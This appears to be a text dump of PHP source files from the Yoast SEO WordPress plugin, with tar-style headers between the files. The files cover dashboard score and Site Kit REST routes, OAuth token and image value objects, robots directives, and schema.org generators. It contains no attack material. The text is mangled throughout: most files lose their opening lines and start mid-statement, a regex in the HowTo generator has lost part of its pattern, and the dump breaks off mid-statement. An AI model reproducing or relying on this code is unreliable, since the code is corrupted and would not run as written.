$this->top_page_repository->get_data( $request_parameters ); break; case 'organicSessionsDaily': $request_parameters = new Analytics_4_Parameters(); $request_parameters = $this->set_date_range_parameters( $request_parameters ); $request_parameters->set_dimensions( [ 'date' ] ); $request_parameters->set_metrics( [ 'sessions' ] ); $request_parameters->set_dimension_filters( [ 'sessionDefaultChannelGrouping' => [ 'Organic Search' ] ] ); $request_parameters->set_order_by( 'dimension', 'date' ); $time_based_seo_metrics_container = $this->organic_sessions_daily_repository->get_data( $request_parameters ); break; case 'organicSessionsCompare': $request_parameters = new Analytics_4_Parameters(); $request_parameters = $this->set_date_range_parameters( $request_parameters ); $request_parameters = $this->set_comparison_date_range_parameters( $request_parameters ); $request_parameters->set_metrics( [ 'sessions' ] ); $request_parameters->set_dimension_filters( [ 'sessionDefaultChannelGrouping' => [ 'Organic Search' ] ] ); $time_based_seo_metrics_container = $this->organic_sessions_compare_repository->get_data( $request_parameters ); break; case 'searchRankingCompare': $request_parameters = new Search_Console_Parameters(); $request_parameters = $this->set_date_range_parameters( $request_parameters ); $request_parameters = $this->set_comparison_date_range_parameters( $request_parameters ); $request_parameters->set_dimensions( [ 'date' ] ); $time_based_seo_metrics_container = $this->search_ranking_compare_repository->get_data( $request_parameters ); break; default: throw new Repository_Not_Found_Exception(); } } catch ( Exception $exception ) { return new WP_REST_Response( [ 'error' => $exception->getMessage(), ], $exception->getCode(), ); } return new WP_REST_Response( $time_based_seo_metrics_container->to_array(), 200, ); } /** * Sets date range parameters. * * @param Parameters $request_parameters The request parameters. * * @return Parameters The request parameters with configured date range. */ public function set_date_range_parameters( Parameters $request_parameters ): Parameters { $date = $this->get_base_date(); $date->modify( '-28 days' ); $start_date = $date->format( 'Y-m-d' ); $date = $this->get_base_date(); $date->modify( '-1 days' ); $end_date = $date->format( 'Y-m-d' ); $request_parameters->set_start_date( $start_date ); $request_parameters->set_end_date( $end_date ); return $request_parameters; } /** * Sets comparison date range parameters. * * @param Parameters $request_parameters The request parameters. * * @return Parameters The request parameters with configured comparison date range. */ public function set_comparison_date_range_parameters( Parameters $request_parameters ): Parameters { $date = $this->get_base_date(); $date->modify( '-29 days' ); $compare_end_date = $date->format( 'Y-m-d' ); $date->modify( '-27 days' ); $compare_start_date = $date->format( 'Y-m-d' ); $request_parameters->set_compare_start_date( $compare_start_date ); $request_parameters->set_compare_end_date( $compare_end_date ); return $request_parameters; } /** * Gets the base date. * * @return DateTime The base date. */ private function get_base_date() { /** * Filter: 'wpseo_custom_site_kit_base_date' - Allow the base date for Site Kit requests to be dynamically set. * * @param string $base_date The custom base date for Site Kit requests, defaults to 'now'. */ $base_date = \apply_filters( 'wpseo_custom_site_kit_base_date', 'now' ); try { return new DateTime( $base_date, new DateTimeZone( 'UTC' ) ); } catch ( Exception $e ) { return new DateTime( 'now', new DateTimeZone( 'UTC' ) ); } } /** * Permission callback. * * @return bool True when user has the 'wpseo_manage_options' capability. */ public function permission_manage_options() { return $this->capability_helper->current_user_can( 'wpseo_manage_options' ); } } dashboard/user-interface/scores/readability-scores-route.php000064400000001545152076257600020356 0ustar00score_results_repository = $readability_score_results_repository; } } dashboard/user-interface/scores/seo-scores-route.php000064400000001415152076257600016647 0ustar00score_results_repository = $seo_score_results_repository; } } dashboard/user-interface/scores/abstract-scores-route.php000064400000016224152076257600017670 0ustar00content_types_collector = $content_types_collector; } /** * Sets the repositories. * * @required * * @param Taxonomies_Repository $taxonomies_repository The taxonomies repository. * @param Indexable_Repository $indexable_repository The indexable repository. * * @return void */ public function set_repositories( Taxonomies_Repository $taxonomies_repository, Indexable_Repository $indexable_repository ) { $this->taxonomies_repository = $taxonomies_repository; $this->indexable_repository = $indexable_repository; } /** * Returns the route prefix. * * @return string The route prefix. * * @throws Exception If the ROUTE_PREFIX constant is not set in the child class. */ public static function get_route_prefix() { $class = static::class; $prefix = $class::ROUTE_PREFIX; if ( $prefix === null ) { throw new Exception( 'Score route without explicit prefix' ); } return $prefix; } /** * Registers routes for scores. * * @return void */ public function register_routes() { \register_rest_route( self::ROUTE_NAMESPACE, $this->get_route_prefix(), [ [ 'methods' => 'GET', 'callback' => [ $this, 'get_scores' ], 'permission_callback' => [ $this, 'permission_manage_options' ], 'args' => [ 'contentType' => [ 'required' => true, 'type' => 'string', 'sanitize_callback' => 'sanitize_text_field', ], 'taxonomy' => [ 'required' => false, 'type' => 'string', 'default' => '', 'sanitize_callback' => 'sanitize_text_field', ], 'term' => [ 'required' => false, 'type' => 'integer', 'default' => null, 'sanitize_callback' => static function ( $param ) { return (int) $param; }, ], 'troubleshooting' => [ 'required' => false, 'type' => 'bool', 'default' => null, 'sanitize_callback' => 'rest_sanitize_boolean', ], ], ], ], ); } /** * Gets the scores of a specific content type. * * @param WP_REST_Request $request The request object. * * @return WP_REST_Response The success or failure response. */ public function get_scores( WP_REST_Request $request ) { try { $content_type = $this->get_content_type( $request['contentType'] ); $taxonomy = $this->get_taxonomy( $request['taxonomy'], $content_type ); $term_id = $this->get_validated_term_id( $request['term'], $taxonomy ); $results = $this->score_results_repository->get_score_results( $content_type, $taxonomy, $term_id, $request['troubleshooting'] ); } catch ( Exception $exception ) { return new WP_REST_Response( [ 'error' => $exception->getMessage(), ], $exception->getCode(), ); } return new WP_REST_Response( $results, 200, ); } /** * Gets the content type object. * * @param string $content_type The content type. * * @return Content_Type|null The content type object. * * @throws Exception When the content type is invalid. */ protected function get_content_type( string $content_type ): ?Content_Type { $content_types = $this->content_types_collector->get_content_types()->get(); if ( isset( $content_types[ $content_type ] ) && \is_a( $content_types[ $content_type ], Content_Type::class ) ) { return $content_types[ $content_type ]; } throw new Exception( 'Invalid content type.', 400 ); } /** * Gets the taxonomy object. * * @param string $taxonomy The taxonomy. * @param Content_Type $content_type The content type that the taxonomy is filtering. * * @return Taxonomy|null The taxonomy object. * * @throws Exception When the taxonomy is invalid. */ protected function get_taxonomy( string $taxonomy, Content_Type $content_type ): ?Taxonomy { if ( $taxonomy === '' ) { return null; } $valid_taxonomy = $this->taxonomies_repository->get_content_type_taxonomy( $content_type->get_name() ); if ( $valid_taxonomy && $valid_taxonomy->get_name() === $taxonomy ) { return $valid_taxonomy; } throw new Exception( 'Invalid taxonomy.', 400 ); } /** * Gets the term ID validated against the given taxonomy. * * @param int|null $term_id The term ID to be validated. * @param Taxonomy|null $taxonomy The taxonomy. * * @return int|null The validated term ID. * * @throws Exception When the term id is invalidated. */ protected function get_validated_term_id( ?int $term_id, ?Taxonomy $taxonomy ): ?int { if ( $term_id !== null && $taxonomy === null ) { throw new Exception( 'Term needs a provided taxonomy.', 400 ); } if ( $term_id === null && $taxonomy !== null ) { throw new Exception( 'Taxonomy needs a provided term.', 400 ); } if ( $term_id !== null ) { $term = \get_term( $term_id ); if ( ! $term || \is_wp_error( $term ) ) { throw new Exception( 'Invalid term.', 400 ); } if ( $taxonomy !== null && $term->taxonomy !== $taxonomy->get_name() ) { throw new Exception( 'Invalid term.', 400 ); } } return $term_id; } /** * Permission callback. * * @return bool True when user has the 'wpseo_manage_options' capability. */ public function permission_manage_options() { return WPSEO_Capability_Utils::current_user_can( 'wpseo_manage_options' ); } } values/indexables/indexable-builder-versions.php000064400000002606152076257600016135 0ustar00 self::DEFAULT_INDEXABLE_BUILDER_VERSION, 'general' => self::DEFAULT_INDEXABLE_BUILDER_VERSION, 'home-page' => 2, 'post' => 2, 'post-type-archive' => 2, 'term' => 2, 'user' => 2, 'system-page' => self::DEFAULT_INDEXABLE_BUILDER_VERSION, ]; /** * Provides the most recent version number for an Indexable's object type. * * @param string $object_type The Indexable type for which you want to know the most recent version. * * @return int The most recent version number for the type, or 1 if the version doesn't exist. */ public function get_latest_version_for_type( $object_type ) { if ( ! \array_key_exists( $object_type, $this->indexable_builder_versions_by_type ) ) { return self::DEFAULT_INDEXABLE_BUILDER_VERSION; } return $this->indexable_builder_versions_by_type[ $object_type ]; } } values/twitter/images.php000064400000001720152076257600011535 0ustar00twitter_image = $twitter_image; } /** * Adds an image to the list by image ID. * * @param int $image_id The image ID to add. * * @return void */ public function add_image_by_id( $image_id ) { $attachment = $this->twitter_image->get_by_id( $image_id ); if ( $attachment ) { $this->add_image( $attachment ); } } } values/oauth/oauth-token.php000064400000006221152076257600012145 0ustar00access_token = $access_token; if ( empty( $refresh_token ) ) { throw new Empty_Property_Exception( 'refresh_token' ); } $this->refresh_token = $refresh_token; if ( empty( $expires ) ) { throw new Empty_Property_Exception( 'expires' ); } $this->expires = $expires; if ( $has_expired === null ) { throw new Empty_Property_Exception( 'has_expired' ); } $this->has_expired = $has_expired; $this->created_at = $created_at; $this->error_count = $error_count; } /** * Creates a new instance based on the passed response. * * @param AccessTokenInterface $response The response object to create a new instance from. * * @return OAuth_Token The token object. * * @throws Empty_Property_Exception Exception thrown if a token property is empty. */ public static function from_response( AccessTokenInterface $response ) { return new self( $response->getToken(), $response->getRefreshToken(), $response->getExpires(), $response->hasExpired(), \time(), ); } /** * Determines whether or not the token has expired. * * @return bool Whether or not the token has expired. */ public function has_expired() { return ( \time() >= $this->expires ) || $this->has_expired === true; } /** * Converts the object to an array. * * @return array The converted object. */ public function to_array() { return [ 'access_token' => $this->access_token, 'refresh_token' => $this->refresh_token, 'expires' => $this->expires, 'has_expired' => $this->has_expired(), 'created_at' => $this->created_at, 'error_count' => $this->error_count, ]; } } values/images.php000064400000005420152076257600010034 0ustar00image = $image; $this->url = $url; } /** * Adds an image to the list by image ID. * * @param int $image_id The image ID to add. * * @return void */ public function add_image_by_id( $image_id ) { $image = $this->image->get_attachment_image_source( $image_id, $this->image_size ); if ( $image ) { $this->add_image( $image ); } } /** * Adds an image to the list by image ID. * * @param string $image_meta JSON encoded image meta. * * @return void */ public function add_image_by_meta( $image_meta ) { $this->add_image( (array) \json_decode( $image_meta ) ); } /** * Return the images array. * * @return array The images. */ public function get_images() { return $this->images; } /** * Check whether we have images or not. * * @return bool True if we have images, false if we don't. */ public function has_images() { return ! empty( $this->images ); } /** * Adds an image based on a given URL. * * @param string $url The given URL. * * @return number|null Returns the found image ID if it exists. Otherwise -1. * If the URL is empty we return null. */ public function add_image_by_url( $url ) { if ( empty( $url ) ) { return null; } $image_id = $this->image->get_attachment_by_url( $url ); if ( $image_id ) { $this->add_image_by_id( $image_id ); return $image_id; } $this->add_image( $url ); return -1; } /** * Adds an image to the list of images. * * @param string|array $image Image array. * * @return void */ public function add_image( $image ) { if ( \is_string( $image ) ) { $image = [ 'url' => $image ]; } if ( ! \is_array( $image ) || empty( $image['url'] ) || ! \is_string( $image['url'] ) ) { return; } if ( $this->url->is_relative( $image['url'] ) && $image['url'][0] === '/' ) { $image['url'] = $this->url->build_absolute_url( $image['url'] ); } if ( \array_key_exists( $image['url'], $this->images ) ) { return; } $this->images[ $image['url'] ] = $image; } } values/robots/user-agent.php000064400000003226152076257610012154 0ustar00user_agent = $user_agent; $this->allow_directive = new Directive(); $this->disallow_directive = new Directive(); } /** * Gets the user agent identifier. * * @return string */ public function get_user_agent() { return $this->user_agent; } /** * Adds a path to the directive object. * * @param string $path The path to add to the disallow directive. * * @return void */ public function add_disallow_directive( $path ) { $this->disallow_directive->add_path( $path ); } /** * Adds a path to the directive object. * * @param string $path The path to add to the allow directive. * * @return void */ public function add_allow_directive( $path ) { $this->allow_directive->add_path( $path ); } /** * Gets all disallow paths for this user agent. * * @return array */ public function get_disallow_paths() { return $this->disallow_directive->get_paths(); } /** * Gets all sallow paths for this user agent. * * @return array */ public function get_allow_paths() { return $this->allow_directive->get_paths(); } } values/robots/user-agent-list.php000064400000003410152076257610013120 0ustar00user_agent_list = []; } /** * Checks if given user_agent is already registered. * * @param string $user_agent The user agent identifier. * * @return bool */ public function has_user_agent( $user_agent ) { return \array_key_exists( $user_agent, $this->user_agent_list ); } /** * Gets the user agent object. If it is not yet registered it creates it. * * @param string $user_agent The user agent identifier. * * @return User_Agent */ public function get_user_agent( $user_agent ) { if ( $this->has_user_agent( $user_agent ) ) { return $this->user_agent_list[ $user_agent ]; } $this->user_agent_list[ $user_agent ] = new User_Agent( $user_agent ); return $this->user_agent_list[ $user_agent ]; } /** * Gets the list of user agents. * * @return array */ public function get_user_agents() { return $this->user_agent_list; } /** * Gets a list of all disallow directives by user agent. * * @return array */ public function get_disallow_directives() { $directives = []; foreach ( $this->user_agent_list as $user_agent ) { $directives[ $user_agent->get_user_agent() ] = $user_agent->get_disallow_paths(); } return $directives; } /** * Gets a list of all sallow directives by user agent. * * @return array */ public function get_allow_directives() { $directives = []; foreach ( $this->user_agent_list as $user_agent ) { $directives[ $user_agent->get_user_agent() ] = $user_agent->get_allow_paths(); } return $directives; } } values/robots/directive.php000064400000001225152076257610012055 0ustar00paths = []; } /** * Adds a path to the directive path list. * * @param string $path A path to add in the path list. * * @return void */ public function add_path( $path ) { if ( ! \in_array( $path, $this->paths, true ) ) { $this->paths[] = $path; } } /** * Returns all paths. * * @return array */ public function get_paths() { return $this->paths; } } values/open-graph/images.php000064400000002232152076257610012073 0ustar00open_graph_image = $open_graph_image; } /** * Outputs the images. * * @codeCoverageIgnore - The method is empty, nothing to test. * * @return void */ public function show() {} /** * Adds an image to the list by image ID. * * @param int $image_id The image ID to add. * * @return void */ public function add_image_by_id( $image_id ) { $attachment = $this->open_graph_image->get_image_by_id( $image_id ); if ( $attachment ) { $this->add_image( $attachment ); } } } generators/twitter-image-generator.php000064400000004735152076257610014220 0ustar00image = $image; $this->url = $url; $this->twitter_image = $twitter_image; } /** * Retrieves the images for an indexable. * * @param Meta_Tags_Context $context The context. * * @return array> The images. */ public function generate( Meta_Tags_Context $context ) { $image_container = $this->get_image_container(); $this->add_from_indexable( $context->indexable, $image_container ); return $image_container->get_images(); } /** * Adds an image based on the given indexable. * * @param Indexable $indexable The indexable. * @param Images $image_container The image container. * * @return void */ protected function add_from_indexable( Indexable $indexable, Images $image_container ) { if ( $indexable->twitter_image_id ) { $image_container->add_image_by_id( $indexable->twitter_image_id ); return; } if ( $indexable->twitter_image ) { $image_container->add_image_by_url( $indexable->twitter_image ); } } /** * Retrieves an instance of the image container. * * @codeCoverageIgnore * * @return Images The image container. */ protected function get_image_container() { $image_container = new Images( $this->image, $this->url ); $image_container->image_size = $this->twitter_image->get_image_size(); $image_container->set_helpers( $this->twitter_image ); return $image_container; } } generators/generator-interface.php000064400000000544152076257610013370 0ustar00context->canonical . Schema_IDs::PRIMARY_IMAGE_HASH; // The featured image. if ( $this->context->main_image_id ) { $generated_schema = $this->helpers->schema->image->generate_from_attachment_id( $image_id, $this->context->main_image_id ); $this->context->main_image_url = $generated_schema['url']; return $generated_schema; } // The first image in the content. if ( $this->context->main_image_url ) { return $this->helpers->schema->image->generate_from_url( $image_id, $this->context->main_image_url ); } return false; } } generators/schema/website.php000064400000005323152076257610012346 0ustar00 'WebSite', '@id' => $this->context->site_url . Schema_IDs::WEBSITE_HASH, 'url' => $this->context->site_url, 'name' => $this->helpers->schema->html->smart_strip_tags( $this->context->site_name ), 'description' => \get_bloginfo( 'description' ), ]; if ( $this->context->site_represents_reference ) { $data['publisher'] = $this->context->site_represents_reference; } $data = $this->add_alternate_name( $data ); $data = $this->internal_search_section( $data ); $data = $this->helpers->schema->language->add_piece_language( $data ); return $data; } /** * Returns an alternate name if one was specified in the Yoast SEO settings. * * @param array $data The website data array. * * @return array */ private function add_alternate_name( $data ) { if ( $this->context->alternate_site_name !== '' ) { $data['alternateName'] = $this->helpers->schema->html->smart_strip_tags( $this->context->alternate_site_name ); } return $data; } /** * Adds the internal search JSON LD code to the homepage if it's not disabled. * * @link https://developers.google.com/search/docs/data-types/sitelinks-searchbox * * @param array $data The website data array. * * @return array */ private function internal_search_section( $data ) { /** * Filter: 'disable_wpseo_json_ld_search' - Allow disabling of the json+ld output. * * @param bool $display_search Whether or not to display json+ld search on the frontend. */ if ( \apply_filters( 'disable_wpseo_json_ld_search', false ) ) { return $data; } /** * Filter: 'wpseo_json_ld_search_url' - Allows filtering of the search URL for Yoast SEO. * * @param string $search_url The search URL for this site with a `{search_term_string}` variable. */ $search_url = \apply_filters( 'wpseo_json_ld_search_url', $this->context->site_url . '?s={search_term_string}' ); $data['potentialAction'][] = [ '@type' => 'SearchAction', 'target' => [ '@type' => 'EntryPoint', 'urlTemplate' => $search_url, ], 'query-input' => [ '@type' => 'PropertyValueSpecification', 'valueRequired' => true, 'valueName' => 'search_term_string', ], ]; return $data; } } generators/schema/howto.php000064400000013372152076257610012047 0ustar00context->blocks['yoast/how-to-block'] ); } /** * Renders a list of questions, referencing them by ID. * * @return array Our Schema graph. */ public function generate() { $graph = []; foreach ( $this->context->blocks['yoast/how-to-block'] as $index => $block ) { $this->add_how_to( $graph, $block, $index ); } return $graph; } /** * Adds the duration of the task to the Schema. * * @param array $data Our How-To schema data. * @param array $attributes The block data attributes. * * @return void */ private function add_duration( &$data, $attributes ) { if ( empty( $attributes['hasDuration'] ) ) { return; } $days = empty( $attributes['days'] ) ? 0 : $attributes['days']; $hours = empty( $attributes['hours'] ) ? 0 : $attributes['hours']; $minutes = empty( $attributes['minutes'] ) ? 0 : $attributes['minutes']; if ( ( $days + $hours + $minutes ) > 0 ) { $data['totalTime'] = \esc_attr( 'P' . $days . 'DT' . $hours . 'H' . $minutes . 'M' ); } } /** * Adds the steps to our How-To output. * * @param array $data Our How-To schema data. * @param array $steps Our How-To block's steps. * * @return void */ private function add_steps( &$data, $steps ) { foreach ( $steps as $step ) { $schema_id = $this->context->canonical . '#' . \esc_attr( $step['id'] ); $schema_step = [ '@type' => 'HowToStep', 'url' => $schema_id, ]; if ( isset( $step['jsonText'] ) ) { $json_text = $this->helpers->schema->html->sanitize( $step['jsonText'] ); } if ( isset( $step['jsonName'] ) ) { $json_name = $this->helpers->schema->html->smart_strip_tags( $step['jsonName'] ); } if ( empty( $json_name ) ) { if ( empty( $step['text'] ) ) { continue; } $schema_step['text'] = ''; $this->add_step_image( $schema_step, $step ); // If there is no text and no image, don't output the step. if ( empty( $json_text ) && empty( $schema_step['image'] ) ) { continue; } if ( ! empty( $json_text ) ) { $schema_step['text'] = $json_text; } } elseif ( empty( $json_text ) ) { $schema_step['text'] = $json_name; } else { $schema_step['name'] = $json_name; $this->add_step_description( $schema_step, $json_text ); $this->add_step_image( $schema_step, $step ); } $data['step'][] = $schema_step; } } /** * Checks if we have a step description, if we do, add it. * * @param array $schema_step Our Schema output for the Step. * @param string $json_text The step text. * * @return void */ private function add_step_description( &$schema_step, $json_text ) { // Decode HTML entities. $json_text = \html_entity_decode( $json_text ); // Remove the image from the text if it exists. Search and replace the img tag. $json_text = \preg_replace( '/]+>/i', '', $json_text ); // Trim whitespace. $json_text = \trim( $json_text ); $schema_step['itemListElement'] = [ [ '@type' => 'HowToDirection', 'text' => $json_text, ], ]; } /** * Checks if we have a step image, if we do, add it. * * @param array $schema_step Our Schema output for the Step. * @param array $step The step block data. * * @return void */ private function add_step_image( &$schema_step, $step ) { if ( isset( $step['images'] ) && \is_array( $step['images'] ) ) { foreach ( $step['images'] as $image ) { if ( isset( $image['type'] ) && $image['type'] === 'img' ) { $schema_step['image'] = $this->get_image_schema( \esc_url( $image['props']['src'] ) ); } } } elseif ( isset( $step['text'] ) && \is_array( $step['text'] ) ) { // Backwards compatibility for older How-To blocks. foreach ( $step['text'] as $line ) { if ( \is_array( $line ) && isset( $line['type'] ) && $line['type'] === 'img' ) { $schema_step['image'] = $this->get_image_schema( \esc_url( $line['props']['src'] ) ); } } } } /** * Generates the HowTo schema for a block. * * @param array $graph Our Schema data. * @param array $block The How-To block content. * @param int $index The index of the current block. * * @return void */ protected function add_how_to( &$graph, $block, $index ) { $data = [ '@type' => 'HowTo', '@id' => $this->context->canonical . '#howto-' . ( $index + 1 ), 'name' => $this->helpers->schema->html->smart_strip_tags( $this->helpers->post->get_post_title_with_fallback( $this->context->id ) ), 'mainEntityOfPage' => [ '@id' => $this->context->main_schema_id ], 'description' => '', ]; if ( $this->context->has_article ) { $data['mainEntityOfPage'] = [ '@id' => $this->context->main_schema_id . Schema_IDs::ARTICLE_HASH ]; } if ( isset( $block['attrs']['jsonDescription'] ) ) { $data['description'] = $this->helpers->schema->html->sanitize( $block['attrs']['jsonDescription'] ); } $this->add_duration( $data, $block['attrs'] ); if ( isset( $block['attrs']['steps'] ) ) { $this->add_steps( $data, $block['attrs']['steps'] ); } $data = $this->helpers->schema->language->add_piece_language( $data ); $graph[] = $data; } /** * Generates the image schema from the attachment $url. * * @param string $url Attachment url. * * @return array Image schema. */ protected function get_image_schema( $url ) { $schema_id = $this->context->canonical . '#schema-image-' . \md5( $url ); return $this->helpers->schema->image->generate_from_url( $schema_id, $url ); } } generators/schema/abstract-schema-piece.php000064400000001432152076257610015025 0ustar00context->site_represents === 'company'; } /** * Returns the Organization Schema data. * * @return array The Organization schema. */ public function generate() { $logo_schema_id = $this->context->site_url . Schema_IDs::ORGANIZATION_LOGO_HASH; if ( $this->context->company_logo_meta ) { $logo = $this->helpers->schema->image->generate_from_attachment_meta( $logo_schema_id, $this->context->company_logo_meta, $this->context->company_name ); } else { $logo = $this->helpers->schema->image->generate_from_attachment_id( $logo_schema_id, $this->context->company_logo_id, $this->context->company_name ); } $organization = [ '@type' => 'Organization', '@id' => $this->context->site_url . Schema_IDs::ORGANIZATION_HASH, 'name' => $this->helpers->schema->html->smart_strip_tags( $this->context->company_name ), ]; if ( ! empty( $this->context->company_alternate_name ) ) { $organization['alternateName'] = $this->context->company_alternate_name; } $organization['url'] = $this->context->site_url; $organization['logo'] = $logo; $organization['image'] = [ '@id' => $logo['@id'] ]; $same_as = \array_values( \array_unique( \array_filter( $this->fetch_social_profiles() ) ) ); if ( ! empty( $same_as ) ) { $organization['sameAs'] = $same_as; } if ( \is_array( $this->context->schema_page_type ) && \in_array( 'ProfilePage', $this->context->schema_page_type, true ) ) { $organization['mainEntityOfPage'] = [ '@id' => $this->context->main_schema_id, ]; } return $organization; } /** * Retrieve the social profiles to display in the organization schema. * * @return array An array of social profiles. */ private function fetch_social_profiles() { $profiles = $this->helpers->social_profiles->get_organization_social_profiles(); if ( isset( $profiles['other_social_urls'] ) ) { $other_social_urls = $profiles['other_social_urls']; unset( $profiles['other_social_urls'] ); $profiles = \array_merge( $profiles, $other_social_urls ); } /** * Filter: 'wpseo_schema_organization_social_profiles' - Allows filtering social profiles for the * represented organization. * * @param string[] $profiles */ $profiles = \apply_filters( 'wpseo_schema_organization_social_profiles', $profiles ); return $profiles; } } generators/schema/webpage.php000064400000011613152076257610012315 0ustar00context->indexable->object_type === 'unknown' ) { return false; } return ! ( $this->context->indexable->object_type === 'system-page' && $this->context->indexable->object_sub_type === '404' ); } /** * Returns WebPage schema data. * * @return array> WebPage schema data. */ public function generate() { $data = [ '@type' => $this->context->schema_page_type, '@id' => $this->context->main_schema_id, 'url' => $this->context->canonical, 'name' => $this->helpers->schema->html->smart_strip_tags( $this->context->title ), 'isPartOf' => [ '@id' => $this->context->site_url . Schema_IDs::WEBSITE_HASH, ], ]; if ( empty( $this->context->canonical ) && \is_search() ) { $data['url'] = $this->build_search_url(); } if ( $this->helpers->current_page->is_front_page() ) { if ( $this->context->site_represents_reference ) { $data['about'] = $this->context->site_represents_reference; } } $data = $this->add_image( $data ); if ( $this->context->indexable->object_type === 'post' ) { $data['datePublished'] = $this->helpers->date->format( $this->context->post->post_date_gmt ); if ( \strtotime( $this->context->post->post_modified_gmt ) > \strtotime( $this->context->post->post_date_gmt ) ) { $data['dateModified'] = $this->helpers->date->format( $this->context->post->post_modified_gmt ); } if ( $this->context->indexable->object_sub_type === 'post' ) { $data = $this->add_author( $data, $this->context->post ); } } if ( ! empty( $this->context->description ) ) { $data['description'] = $this->helpers->schema->html->smart_strip_tags( $this->context->description ); } if ( $this->add_breadcrumbs() ) { $data['breadcrumb'] = [ '@id' => $this->context->canonical . Schema_IDs::BREADCRUMB_HASH, ]; } if ( ! empty( $this->context->main_entity_of_page ) ) { $data['mainEntity'] = $this->context->main_entity_of_page; } $data = $this->helpers->schema->language->add_piece_language( $data ); $data = $this->add_potential_action( $data ); return $data; } /** * Adds an author property to the $data if the WebPage is not represented. * * @param array> $data The WebPage schema. * @param WP_Post $post The post the context is representing. * * @return array> The WebPage schema. */ public function add_author( $data, $post ) { if ( $this->context->site_represents === false ) { $data['author'] = [ '@id' => $this->helpers->schema->id->get_user_schema_id( $post->post_author, $this->context ) ]; } return $data; } /** * If we have an image, make it the primary image of the page. * * @param array> $data WebPage schema data. * * @return array> */ public function add_image( $data ) { if ( $this->context->has_image ) { $data['primaryImageOfPage'] = [ '@id' => $this->context->canonical . Schema_IDs::PRIMARY_IMAGE_HASH ]; $data['image'] = [ '@id' => $this->context->canonical . Schema_IDs::PRIMARY_IMAGE_HASH ]; $data['thumbnailUrl'] = $this->context->main_image_url; } return $data; } /** * Determine if we should add a breadcrumb attribute. * * @return bool */ private function add_breadcrumbs() { if ( $this->context->indexable->object_type === 'system-page' && $this->context->indexable->object_sub_type === '404' ) { return false; } return true; } /** * Adds the potential action property to the WebPage Schema piece. * * @param array> $data The WebPage data. * * @return array> The WebPage data with the potential action added. */ private function add_potential_action( $data ) { $url = $this->context->canonical; if ( $data['@type'] === 'CollectionPage' || ( \is_array( $data['@type'] ) && \in_array( 'CollectionPage', $data['@type'], true ) ) ) { return $data; } /** * Filter: 'wpseo_schema_webpage_potential_action_target' - Allows filtering of the schema WebPage potentialAction target. * * @param array $targets The URLs for the WebPage potentialAction target. */ $targets = \apply_filters( 'wpseo_schema_webpage_potential_action_target', [ $url ] ); $data['potentialAction'][] = [ '@type' => 'ReadAction', 'target' => $targets, ]; return $data; } /** * Creates the search URL for use when if there is no canonical. * * @return string Search URL. */ private function build_search_url() { return $this->context->site_url . '?s=' . \rawurlencode( \get_search_query() ); } } generators/schema/person.php000064400000023343152076257620012215 0ustar00site_represents_current_author() ) { return false; } return $this->context->site_represents === 'person'; } /** * Returns Person Schema data. * * @return bool|array Person data on success, false on failure. */ public function generate() { $user_id = $this->determine_user_id(); if ( ! $user_id ) { return false; } return $this->build_person_data( $user_id ); } /** * Determines a User ID for the Person data. * * @return bool|int User ID or false upon return. */ protected function determine_user_id() { /** * Filter: 'wpseo_schema_person_user_id' - Allows filtering of user ID used for person output. * * @param int|bool $user_id The user ID currently determined. */ $user_id = \apply_filters( 'wpseo_schema_person_user_id', $this->context->site_user_id ); // It should to be an integer higher than 0. if ( \is_int( $user_id ) && $user_id > 0 ) { return $user_id; } return false; } /** * Retrieve a list of social profile URLs for Person. * * @param string[] $same_as_urls Array of SameAs URLs. * @param int $user_id User ID. * * @return string[] A list of SameAs URLs. */ protected function get_social_profiles( $same_as_urls, $user_id ) { /** * Filter: 'wpseo_schema_person_social_profiles' - Allows filtering of social profiles per user. * * @param string[] $social_profiles The array of social profiles to retrieve. Each should be a user meta field * key. As they are retrieved using the WordPress function `get_the_author_meta`. * @param int $user_id The current user we're grabbing social profiles for. */ $social_profiles = \apply_filters( 'wpseo_schema_person_social_profiles', $this->social_profiles, $user_id ); // We can only handle an array. if ( ! \is_array( $social_profiles ) ) { return $same_as_urls; } foreach ( $social_profiles as $profile ) { // Skip non-string values. if ( ! \is_string( $profile ) ) { continue; } $social_url = $this->url_social_site( $profile, $user_id ); if ( $social_url ) { $same_as_urls[] = $social_url; } } return $same_as_urls; } /** * Builds our array of Schema Person data for a given user ID. * * @param int $user_id The user ID to use. * @param bool $add_hash Wether or not the person's image url hash should be added to the image id. * * @return array An array of Schema Person data. */ protected function build_person_data( $user_id, $add_hash = false ) { $user_data = \get_userdata( $user_id ); $data = [ '@type' => $this->type, '@id' => $this->helpers->schema->id->get_user_schema_id( $user_id, $this->context ), ]; // Safety check for the `get_userdata` WP function, which could return false. if ( $user_data === false ) { return $data; } $data['name'] = $this->helpers->schema->html->smart_strip_tags( $user_data->display_name ); $pronouns = $this->helpers->schema->html->smart_strip_tags( \get_the_author_meta( 'wpseo_pronouns', $user_id ) ); if ( ! empty( $pronouns ) ) { $data['pronouns'] = $pronouns; } $data = $this->add_image( $data, $user_data, $add_hash ); if ( ! empty( $user_data->description ) ) { $data['description'] = $this->helpers->schema->html->smart_strip_tags( $user_data->description ); } if ( \is_array( $this->context->schema_page_type ) && \in_array( 'ProfilePage', $this->context->schema_page_type, true ) ) { $data['mainEntityOfPage'] = [ '@id' => $this->context->main_schema_id, ]; } $data = $this->add_same_as_urls( $data, $user_data, $user_id ); /** * Filter: 'wpseo_schema_person_data' - Allows filtering of schema data per user. * * @param array $data The schema data we have for this person. * @param int $user_id The current user we're collecting schema data for. */ $data = \apply_filters( 'wpseo_schema_person_data', $data, $user_id ); return $data; } /** * Returns an ImageObject for the persons avatar. * * @param array $data The Person schema. * @param WP_User $user_data User data. * @param bool $add_hash Wether or not the person's image url hash should be added to the image id. * * @return array The Person schema. */ protected function add_image( $data, $user_data, $add_hash = false ) { $schema_id = $this->context->site_url . Schema_IDs::PERSON_LOGO_HASH; $data = $this->set_image_from_options( $data, $schema_id, $add_hash, $user_data ); if ( ! isset( $data['image'] ) ) { $data = $this->set_image_from_avatar( $data, $user_data, $schema_id, $add_hash ); } if ( \is_array( $this->type ) && \in_array( 'Organization', $this->type, true ) ) { $data_logo = ( $data['image']['@id'] ?? $schema_id ); $data['logo'] = [ '@id' => $data_logo ]; } return $data; } /** * Generate the person image from our settings. * * @param array $data The Person schema. * @param string $schema_id The string used in the `@id` for the schema. * @param bool $add_hash Whether or not the person's image url hash should be added to the image id. * @param WP_User|null $user_data User data. * * @return array The Person schema. */ protected function set_image_from_options( $data, $schema_id, $add_hash = false, $user_data = null ) { if ( $this->context->site_represents !== 'person' ) { return $data; } if ( \is_array( $this->context->person_logo_meta ) ) { $data['image'] = 